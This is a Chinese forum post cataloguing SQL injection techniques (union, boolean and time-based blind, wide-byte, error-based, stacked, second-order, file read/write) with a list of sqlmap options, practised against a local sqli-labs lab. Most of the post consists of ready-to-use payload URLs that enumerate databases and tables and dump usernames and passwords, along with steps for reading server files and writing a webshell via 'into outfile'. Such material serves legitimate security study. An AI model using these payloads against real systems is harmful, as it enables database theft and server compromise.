找回密码
 加入怎通
查看: 137|回复: 1

归纳整理常见SQL注入类型以及原理(常见sql注入语句)

[复制链接]
我来看看 发表于 2023-03-19 11:46:43 | 显示全部楼层 |阅读模式
' D( q/ y, Z2 Q; H2 f% Z" {

SQL注入原理什么是SQL注入?SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的SQL注入漏洞的危害是巨大的,常常会导致整个数据库被"脱裤"尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

* m9 q+ I5 a/ D' \2 Q) t

SQL注入步骤(1)判断是否存在注入,注入是字符型还是数字型(2)猜解SQL查询语句中的字段数(3)判断哪些位置字段可以注入利用(4)查询数据库(当前使用的数据库或所有数据库)(5)查询指定数据库中的表

0 p' [3 R0 Q# ~: r1 Y# T& O( w

(6)查询指定表中的字段名(7)查询表中字段的值常见SQL注入类型(细分七种类型)可以将SQL注入分为两大类:非盲注和盲注,非盲注就是有报错回显,盲注就是没有报错回显常见的SQL注入方法有:联合注入布尔盲注

& b4 q6 I' V5 ^, O; B- i/ Q

时间盲注宽字节注入报错注入堆叠注入二次注入数字型/字符型注入判断首先id后面加单引号 查看是否可能存在sql注入,返回正常,不存在;返回不正常,存在假设ip/?id=1数字型,参数没有被引号包围:id=1 and 1=1 返回页面正常

; x8 j/ u; s2 Q- M! H

id=1 and 1=2 返回页面不正常id=1’ and ‘1’=‘1 返回页面不正常id=1’ and ‘1’=‘2 返回页面不正常字符型,参数被引号包围:id=1 and 1=1 返回页面正常或错误

5 h4 Y7 Z5 O! R! S, p

id=1 and 1=2 返回页面正常或错误id=1’ and ‘1’=‘1 返回页面正常id=1’ and ‘1’=2 返回页面不正常总结出两种测试方法:and 1=1正常,1=2不正常,可能存在数字型注入/and 1=1正常或错误,1=2正常或错误,可能存在字符型注入

. d+ l" ?, m/ y l6 f5 E

’ and ‘1’=‘1不正常,’ and ‘1’=‘2不正常,可能存在数字行注入/’ and ‘1’=‘1正常,’ and ‘1’=2不正常,可能存在字符型注入0x01:联合注入原理(1)union select定义

, R: e' O6 h( T$ Q+ P$ r2 M+ z2 U

将多个SELECT语句的结果合并到一个结果集中(2)mysql直观测试SELECT * FROM users WHERE id=1union select * from users where id=2;

" {8 L1 s$ q- A/ B8 w

测试环境Pass-1相关函数group_concat(参数1,参数2,参数3等等无数个参数)语法: group_concat函数返回一个字符串结果(就是返回一行),该结果由括号中的各个参数值执行然后连接组合而成

! E/ Y: v9 ^4 I+ v' S

char():还原ASCII码为字符注入过程1、首先判断目标是否存在sql注入,是什么类型的sql注入http://127.0.0.1/sqli-labs/Less-1/?id=1 //返回正确http://127.0.0.1/sqli-labs/Less-1/?id=1 //返回错误,可能存在SQL注入

. j2 v# C+ b: L( [0 w m4 W

http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1 //返回正确http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 //返回正确

0 m9 v! w1 A0 {+ W' m* k

http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1 //返回错误http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 //返回错误

/ M; ]# ^" A& @

由此可见,$id后面可能还有sql语句http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1 --+ //返回正确http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 --+ //返回错误

}/ c5 H+ m* L( W1 Y1 d. M* z

由此可见,目标存在sql注入,并且是字符型,该id变量后面还有其他的sql语句此时我们看一下源码,是否是字符型2、测试步骤(1)使用union select猜测目标SQL查询语句中select后面的字段数量,同时也测出了目标哪些位置的字段可以继续利用

$ b" q, `, l9 Z" O x

(2)判断方法:回显错误表示不止当前字段数,回显正确表示就是这么多字段数Payload:http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,2,3%23

# R/ N" c$ M+ V, {: p

注:这里的and 1=2是为了就将正确的id=1不显示,返回错误,显示后面union select语句的值,因为有时目标网站设置只回显一条数据库语句,容易造成判断失误结果:这里SQL查询语句中select后面的字段数量是3个,2,3字段可以利用

$ I, O. r4 {- N& W& O* s2 _

(3)Payloadhttp://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,database(),3%23http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

! x7 P. ~2 l: |) Z; z

http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23

3 N. Z) x1 i o- C+ ^

http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name=users),3%23

+ M' u3 F4 c' @* S

http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

2 \( G. P% G& n) P/ B5 m( D

(4)拓展还有一种方法,order by判断字段数http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 order by 1%23具体情况具体分析0x02:布尔盲注

7 f% B# c8 v- r

原理Web的页面的仅仅会返回True和False,那么布尔盲注就是根据页面返回的True或者是False来得到数据库中的相关信息测试环境Pass-8相关函数解析(1)length:返回值为字符串的字节长度

8 ~7 |, h9 @! f! E( S

(2)ascii:把字符转换成ascii码值的函数(3)substr(str, pos, len):在str中从pos开始的位置(起始位置为1),截取len个字符(4)count:统计表中记录的一个函数,返回匹配条件的行数

' D2 x4 {/ C$ L$ r$ i* _% a

(5)limit:limit m :检索前m行数据,显示1-10行数据(m>0)limit(x,y):检索从x+1行开始的y行数据注入过程1、判断数据库名称长度http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length(database()))=8%23

* V' V+ w$ d6 o% O8 B/ @0 i

2、猜解数据库名http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,1,1))) = 115%23

1 E* q4 h& {# Y( `/ \

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,2,1))) = 101%23http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,3,1))) = 99%23

# E: o9 K2 A! C- N8 P$ H: K+ ]

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,4,1))) = 117%23http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,5,1))) = 114%23

' D3 H6 s G- P; H% N# `

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,6,1))) = 105%23http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,7,1))) = 116%23

. N) o% U7 J% |

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,8,1))) = 121%233、判断数据库中表的数量

7 \/ G0 C) d7 x0 S3 ~' `

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=4%23

5 T1 P* o+ E% N: B

4、猜解其中第四个表名的长度http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5%23

" D1 ~' h }# d* W

5、猜解第四个表名http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 117%23

# W. h3 e8 N. w) N' f& f

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23

; [2 S0 A7 J, F7 [) k4 H

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 101%23

0 I) ^# ?# H* ]4 e* J8 s

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 114%23

5 g) r! Y: w% I4 R

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23

( e8 b' u! i' ^4 F) ^

第四个表名为users6、判断users表中字段数量http://127.0.0.1/sqli-labs/Less-8/?id=1 and (select count(column_name) from information_schema.columns where table_name=users)=3%23

+ M) c" _3 ^- n C+ z

7、判断第二个字段长度http://127.0.0.1/sqli-labs/Less-8/?id=1 and length((select column_name from information_schema.columns where table_name=users limit 1,1))=8%23

, s$ z E( r% V7 X G! {

8、猜解第二个字段名称http://127.0.0.1/sqli-labs/Less-8/?id=1 and ascii(substr((select column_name from information_schema.columns where table_name=users limit 1,1),1,1))=117%23

/ M4 H g2 k+ f" X% F4 l

...第二个字段名称为username注:substr(参数1,参数2,参数3),参数2中0和1都可表示从第一位字符开始,但这里只可以用1,0不可以,可能和数据库版本有关9、猜解指定字段中值的数量http://127.0.0.1/sqli-labs/Less-8/?id=1 and (select count(username)from users)=13%23

# B9 ?" G) r8 I4 `) m3 L" N; R" B

10、猜解第一个字段中第一个值的长度http://127.0.0.1/sqli-labs/Less-8/?id=1 and length((select username from users limit 0,1))=4%23

" b7 h5 {/ P0 K. }: |' Y

11、猜解第一个字段中第一个值的名称http://127.0.0.1/sqli-labs/Less-8/?id=1 and ascii(substr((select username from users limit 0,1),1,1))=68%23

+ y" X8 d5 W# [: M: A, A% b; U

...最后的值为Dumb0x03:时间盲注原理时间盲注的一般思路是延迟注入,就是利用sleep()或benchmark()等函数让mysql执行时间变长并结合判断条件语句if(expr1,expr2,expr3),然后通过页面的响应时间长短来判断语句返回的值是True还是False,从而猜解一些未知的字段

& O1 p+ M0 r, Z: K

测试环境Less-9相关函数if(expr1,expr2,expr3): expr1的值为TRUE,则返回值为expr2 ;expr1的值为FALSE,则返回值为expr3sleep(n):延迟响应时间n秒

: L3 v% [* K$ e3 |! c7 K ~2 F

Payloadhttp://127.0.0.1/sqli-labs/Less-9/?id=1 and if(1=1,sleep(4),null)%23http://127.0.0.1/sqli-labs/Less-9/?id=1 and (length(database()))=8 and if(1=1,sleep(4),null)%23

( Z& r1 j2 A3 W7 Q$ j( q. h: Z

http://127.0.0.1/sqli-labs/Less-9/?id=1 and (ascii(substr((select database()),1,1))) =115 and if(1=1,sleep(4),null)%23

& s( {' V+ t7 [9 h1 A; {

0x04:宽字节注入原理当存在宽字节注入的时候,注入参数里带入%df%27,即可把(%5c)吃掉,也就是%df和%5c结合成了汉字運测试环境Pass-32Payloadhttp://127.0.0.1/sqli-labs/Less-32/?id=1%df and 1=2 union select 1,2,3%23

" r2 N5 Z z! W6 I+ {- y/ R+ L

http://127.0.0.1/sqli-labs/Less-32/?id=1%df and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

/ l, G6 Y. ?9 M

http://127.0.0.1/sqli-labs/Less-32/?id=1%df and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23

) M# E0 B# u- I7 k6 `

http://127.0.0.1/sqli-labs/Less-32/?id=1%df and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name=users),3%23

- @' P2 {2 a* P; ~6 x9 u. C) v

http://127.0.0.1/sqli-labs/Less-32/?id=1%df and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

0 c8 h3 J3 T) p$ x8 k8 [/ F

0x05:报错注入原理报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的测试环境Pass-5相关函数concat()函数:用于将多个字符串连接成一个字符串floor(x) 函数:返回小于 x 的最大整数值。

* a, @& {8 G' q R0 E" k

rand()函数调:用可以在0和1之间产生一个随机数group by语句:根据一个或多个列对结果集进行分组updatexml(目标xml文档,xml路径,更新的内容):更新xml文档的函数,xpath_expr: 需要更新的xml路径(Xpath格式)

# K4 j! `! R" b) W

new_xml: 更新后的内容此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XMLxml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

8 M4 `! ?# c( p4 n+ k7 X# z

extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

7 X( k& T5 `3 p+ [/ `2 m2 I

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径,第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

! I4 v) }' ^# g3 [4 f

参考https://blog.51cto.com/wt7315/18914580x05-1:floor报错注入Payloadhttp://127.0.0.1/sqli-labs/Less-5/?id=1 union select null,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x%23

( K& s: R$ J- D) M# H) B [* N

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select null,count(*),concat((select table_name from information_schema.tables where table_schema=security limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

, Z% g, b( X$ A; ^3 c2 g9 I

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select null,count(*),concat((select column_name from information_schema.columns where table_name=users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

/ h C3 M0 z6 |# o4 N4 i! x

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

& Z( A. O* K, T

0x05-2:updatexml报错注入Payloadhttp://127.0.0.1/sqli-labs/Less-5/?id=1 union select updatexml(1,concat(~,(database()),~),3)%23

& j; _0 n$ D; r0 b) Z( _9 k/ y1 a

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select updatexml(1,concat(~,(select table_name from information_schema.tables where table_schema=security limit 0,1),~),3)%23

! y+ I6 [, c, P. h# v! G' a i

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select updatexml(1,concat(~,(select column_name from information_schema.columns where table_name=users limit 0,1),~),3)%23

- G O. N" e0 {1 `3 {

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select updatexml(1,concat(~,(select username from users limit 0,1),~),3)%23

9 ~( I- b8 Y! e/ e: R

0x05-3:extractvalue报错注入Payloadhttp://127.0.0.1/sqli-labs/Less-5/?id=1 union select extractvalue(null,concat(0x7e,(database()),0x7e))%23

7 k$ i* ~3 X5 ?

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select extractvalue(null,concat(~,(select table_name from information_schema.tables where table_schema=security limit 0,1),~))%23

$ V/ Y# n: H! c+ l6 Z( v

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select extractvalue(null,concat(~,(select column_name from information_schema.columns where table_name=users limit 0,1),~))%23

5 K7 K9 M& i3 \! E4 V2 n

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select extractvalue(null,concat(~,(select username from users limit 0,1),~))%23

+ J% ]! {0 K+ O& I" T& w

0x06:堆叠注入原理堆叠注入与受限于select语句的联合查询法相反,堆叠注入可用于执行任意SQL语句简单地说就是MYSQL的多语句查询堆叠注入的局限性:堆叠注入并不是在任何换环境下都可以执行的,可能受到API或者数据库引擎不支持的限制(如Oracle数据库),也有可能权限不足。

6 j. H$ S1 y( d" P

web系统中,因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的测试环境Pass-38Payloadhttp://127.0.0.1/sqli-labs/Less-38/?id=1;create database peak%23

1 _, t r% X% a7 K

x07:二次注入原理二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中(比如虽然参数在过滤后会添加"“进行转义,但是”"并不会插入到数据库中),当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

( p% y" ?4 M6 f6 \

二次注入,可以概括为以下两步:第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

5 T, f! w% J1 h) h+ `% C5 w

测试环境Pass-24Payload(1)先创建一个含有注释符的用户 amin’#(2)看下数据库,成功添加了记录(3)源码sql语句分析:原SQL语句:UPDATE users SET PASSWORD=$pass

4 ^. t/ n5 A: L- Z M2 a

where username=$usernameandpassword=$curr_pass修改密码sql语句:UPDATE users SET PASSWORD=$passwhere username=admin# and password=$curr_pass

, ^! G8 b% G' y1 @

最后真正执行的sql语句:UPDATE users SET PASSWORD=‘$pass’ where username=admin(4)最后修改admin’#的密码(5)成功修改admin的密码SQL注入-文件读写

, V2 c" @4 H# }1 E# y

原理利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息利用条件secure_file_priv这个参数用来限制数据导入和导出secure_file_priv=代表对文件读写没有限制

, W2 ~! g, M/ x% b" L r( }. V

secure_file_priv=NULL代表不能进行文件读写secure_file_priv=F:代表只能对该路径下文件进行读写注查看方法:show global variables like ‘%secure%’;

1 e# B' B, Q8 ?2 |* ^

修改方法:my.ini函数,没有的话就直接添加相关函数load_file():读取文件into outfile:写入文件测试环境Pass-1读文件http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,load_file(‘F:\1.txt’),3%23

H) d1 Y6 [( c# y

写文件http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,’’,3 into outfile ‘F:\2.php’%23

# W8 r! N7 B3 g

sqlmap常见参数sqlmap下载地址http://sqlmap.org/常用参数-u:指定含有参数的URL--dbs:爆出数据库--batch:默认选择执行--random-agent:使用随机user-agent

+ w0 N3 X7 p" N! D; o5 {. ?4 X7 L

-r:POST注入--level:注入等级,一共有5个等级(1-5) 不加 level 时,默认是1,5级包含的payload最多,会自动破jie出cookie、XFF等头部注入,相对应他的速度也比较慢--timeout:设定重试超时

) x4 u0 ?) l+ [% D4 c2 ?! `+ i

--cookie:设置cookie信息--flush-session:删除指定目标缓存,重新对该目标进行测试--tamper:使用waf绕过脚本--time-sec:设定延时时间,默认是5秒--thread:多线程,默认为1,最大为10

3 q0 G# _/ z) [* @7 X( A. w( ^

--keep-live: sqlmap默认是一次连接成功后马上关闭;HTTP报文中相当于Connection: Close(一次连接马上关闭)要扫描站点的URL比较多时,这样比较耗费性能,所以需要将HTTP连接持久化来提高扫描性能;HTTP报文相当于Connection: Keep-Alive。

# k' J& s6 ^. A' K" ~

示例py -3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1"--dbs --random-agent --batch

& q2 `5 b" e% T 3 W" }0 t" W" R% u7 i) ^ * ~) G+ {# M1 P. E# N; ~ ' c, m: M. W) x* |* n& P 3 s' p/ m2 j: F# Q) @5 q
回复

使用道具 举报

radarxu 发表于 2026-03-14 17:06:53 | 显示全部楼层
楼主辛苦了,整理这么多内容,必须点赞收藏
回复 支持 反对

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-5-11 12:20 , Processed in 0.066691 second(s), 23 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表